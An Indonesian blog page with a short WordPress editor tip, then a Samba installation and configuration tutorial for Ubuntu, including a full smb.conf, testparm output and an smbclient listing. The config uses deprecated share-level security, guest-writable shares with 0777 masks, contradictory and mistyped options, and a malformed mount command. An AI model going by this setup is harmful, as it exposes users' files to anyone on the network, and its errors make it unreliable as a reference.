If you use the Rich Text Editor on a blog that's installed in a subdirectory, and drag a newly uploaded image into the editor field, the image may vanish a couple seconds later. Jika Anda menggunakan Rich Text Editor pada sebuah blog yang diinstal pada sebuah subdirektori, dan tarik baru-upload foto ke dalam editor lapangan, gambar mungkin lenyap beberapa detik kemudian. This is due to a problem with TinyMCE (the rich text editor) not getting enough information during the drag operation to construct the path to the image or other file correctly. Hal ini disebabkan oleh masalah dengan TinyMCE (editor teks kaya) tidak cukup mendapatkan informasi selama operasi tarik untuk membangun path ke gambar atau file lain dengan benar. The solution is to NOT drag uploaded images into the editor. Solusinya adalah dengan TIDAK tarik-upload foto ke dalam editor. Instead, click and hold on the image and select "Send to Editor." Sebaliknya, terus klik pada gambar dan pilih "Kirim ke Editor."


Read More...

Instalasi Samba di Linux Ubuntu

Menghubungkan jaringan komputer dengan sistem berbeda tidaklah sulit hal ini karena sudah adanya layanan-layanan yang sudah disediakan oleh sistem operasi yang bersangkutan. Seperti pada Linux untuk berhubungan dengan sistem lain maka Linux membutuhkan suatu service yang disebut dengan Samba, dimana samba ini digunakan Linux untuk menjadi client maupun server di jaringan yang ada sistem operasi windowsnya.

Samba adalah program aplikasi yang mengimplementasikan protokol Server Massage Block (SMB) di lingkungan Unix atau Linux. Protokol ini mempunyai fungsi utama untuk berbagi (sharing) file dan printer. Samba dapat menjadi jembatan untuk mengatasi masalah komunikasi antar jaringan, baik dalam lingkungan Linux/unix maupun platform lainya.

1. Penginstalasian Samba di Linux

Untuk menginstall samba user harus log-in sebagai root, log-in sebagai root dapat melalui terminal konsole dengan cara sebagai berikut:

ardienz@udienz:~$ su

password:

udienz:~#/home/udienz#

Kemudian install samba

udienz:~# apt-get install samba smbclient smbfs

Atau bila menggunakan Ubuntu/Edubuntu/Kubuntu dapat menggunakan perintah sudo

ardienz@udienz-ubuntu:~$ sudo apt-get install mc

ardienz@udienz-ubuntu:~$ sudo apt-get install smbclient smbfs

ardienz@udienz-ubuntu:~$ sudo apt-get install samba smbclient smbfs



Kemudian konfigurasikan samba dengan membuka /etc/samba/samba.conf dengan Midningt Commander atau gedit atau kedit bila menggunakan desktop KDE

ardienz@udienz-ubuntu:~$ Sudo gedit /etc/samba/smb.conf

ardienz@udienz-ubuntu:~$ Sudo mcedit /etc/samba/smb.conf

#======================= Global Settings =======================

[global]

workgroup = mshome

server string = %h server (Samba %v)

wins support = yes

wins server = w.x.y.z

# include = /etc/samba/dhcp.conf

dns proxy = no

; name resolve order = lmhosts host wins bcast

#### Debugging/Accounting ####

log file = /var/log/samba/log.%m

max log size = 1000

panic action = /usr/share/samba/panic-action %d

####### Authentication #######

security = share

encrypt passwords = true

; passdb backend = tdbsam guest

; obey pam restrictions = yes

; guest account = share

; invalid users = nobody

; unix password sync = no

; passwd program = /usr/bin/passwd %u

; passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n .

; pam password change = no

########## Printing ##########

load printers = yes

printing = bsd

printcap name = /etc/printcap

printing = cups

printcap name = cups

printer admin = @ntadmin

######## File sharing ########

preserve case = yes

short preserve case = yes

############ Misc ############

include = /home/samba/etc/smb.conf.%m

socket options = TCP_NODELAY

; message command = /bin/sh -c ‘/usr/bin/linpopup “%f” “%m” %s; rm %s’ &

; domain master = auto

; idmap uid = 10000-20000

; idmap gid = 10000-20000

; template shell = /bin/bash

#======================= Share Definitions =======================

[homes]

comment = Home Directories

browseable = yes

[data]

comment= cobain aja deh

path= /home/ ardienz/public

browseable= yes

read only= yes

guest ok= yes

writable= yes

writable = yes

create mask = 0777

directory mask = 0777

[netlogon]

comment = Network Logon Service

path = /home/samba/netlogon

guest ok = yes

writable = yes

share modes = yes

[printers]

comment = All Printers

browseable = yes

path = /tmp

printable = yes

public = yes

writable = yes

create mode = 0700

[print$]

comment = Printer Drivers

path = /var/lib/samba/printers

browseable = yes

read only = no

guest ok = yes

write list = root, @ntadmin, “Mahyuddin Susanto”

[cdrom]

comment = Samba server’s CD-ROM

writable = no

locking = no

path = /cdrom

public = yes

preexec = /bin/mount /cdrom

postexec = /bin/umount /cdrom

Keterangan:

Workgroup : setiap host atau client yang terhubung ke dalam satu jaringan yang sama (satu group) baik windows ataupun Linux harus memiliki workgroup yang sama.

Guest account : diset sebagai nobody; guest account ini mengatur pemberian hak izin write ke semua user

Security :option defaultnya adalah “user”, “share”, “server”, dan “domain”

comment : komentar tentang drive tersebut

path : letak direktori yang akan dishare

read-only : option defaultnya adalah “yes” sehingga semua host yang ada tidak dapat melakukan perubahan apapun terhadap drive tersebut

locking : hak izin read only untuk filesystem ataupun perangkat device (CD-ROM)

browseable : Option defaultnya adalah “yes” sehingga drive yang dishare akan tampak pada komputer lain

Public : option ini menyebabkan semua host dapat mengakses

file atau direktori yang tershare tanpa adanya permintaan password dari komputer tersebut

guest ok : fungsinya sama dengan public

create mode : option ini untuk mengatur hak–hak yang akan diberikan kepada host lain terhadap file atau direktori yang akan dishare.

Writable : option ini memberikan hak azas kepada host lain untuk melakukan perubahan pada file atau direktori yang anda share. Pilihan defaulnya adalah “no”.



Setelah anda melakukan perubahan pada file konfigurasi di atas, restart kembali service samba anda untuk mendapatkan perubahan pada file konfigurasi tersebut. Perintah yang digunakan adalah:

udienz:~# /etc/init.d/samba restart

Apabila user ingin melihat file apasaja di komputer Debian/Ubuntu dapat menggunakan perintah:

ardienz@udienz-ubuntu:~/public$ sudo testparm /etc/samba/smb.conf

Load smb config files from /etc/samba/smb.conf

Processing section “[printers]“

Processing section “[print$]“

Processing section “[Dekstop_Udienz]“

NOTE: Service Dekstop_Udienz is flagged unavailable.

Processing section “[Bolehdiakses]“

Loaded services file OK.

WARNING: passdb expand explicit = yes is deprecated

Server role: ROLE_STANDALONE

Press enter to see a dump of your service definitions

[global]

workgroup = LABKOMTEK

server string = %h server (Samba, Ubuntu)

security = SHARE

obey pam restrictions = Yes

passdb backend = tdbsam

passwd program = /usr/bin/passwd %u

passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n *password\supdated\ssuccessfully* .

syslog = 0

log file = /var/log/samba/log.%m

max log size = 1000

dns proxy = No

wins support = Yes

panic action = /usr/share/samba/panic-action %d

invalid users = root

[printers]

comment = All Printers

path = /tmp

create mask = 0700

printable = Yes

browseable = No

[print$]

comment = Printer Drivers

path = /var/lib/samba/printers

[Dekstop_Udienz]

comment = desktopnya udienz hehehe

path = /home/

read only = No

available = No

[Bolehdiakses]

path = /home/black/public

read only = No

guest ok = Yes

Untuk melihat file atau direktori yang telah anda dan komputer lain share, anda dapat menggunakan browser konqueror yang mendukung protokol samba. Pada Url ketikkan : smbclient –U% -L

ardienz@udienz-ubuntu:~/public$ sudo smbclient -U% -L \\192.168.171.1

Domain=[LABKOMTEK] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment

——— —- ——-

Error returning browse list: NT_STATUS_ACCESS_DENIED

session request to 192.168.171.1 failed (Called name not present)

session request to 192 failed (Called name not present)

Domain=[LABKOMTEK] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment

——— ——-

UDIENZ_XP

Workgroup Master

——— ——-

LABKOMTEK UDIENZ_XP

LABKOMTEK BLACK-DESKTOP

Bila user Linux ingin me-mount directory yang dishare dapat menggunakan perintah:



udienz:~# smbmount//192.168.42.1/my_music /mnt/music

Jika nama host atau IP_address yang anda masukkan ada dalam jaringan anda, maka konqueror webrowser akan menampilkan isi dari direktori yang dishare oleh komputer lain.

Bagi yang mau mendownload tutorialnya, silakan klik disini : TUTORIAL SAMBA

Read More...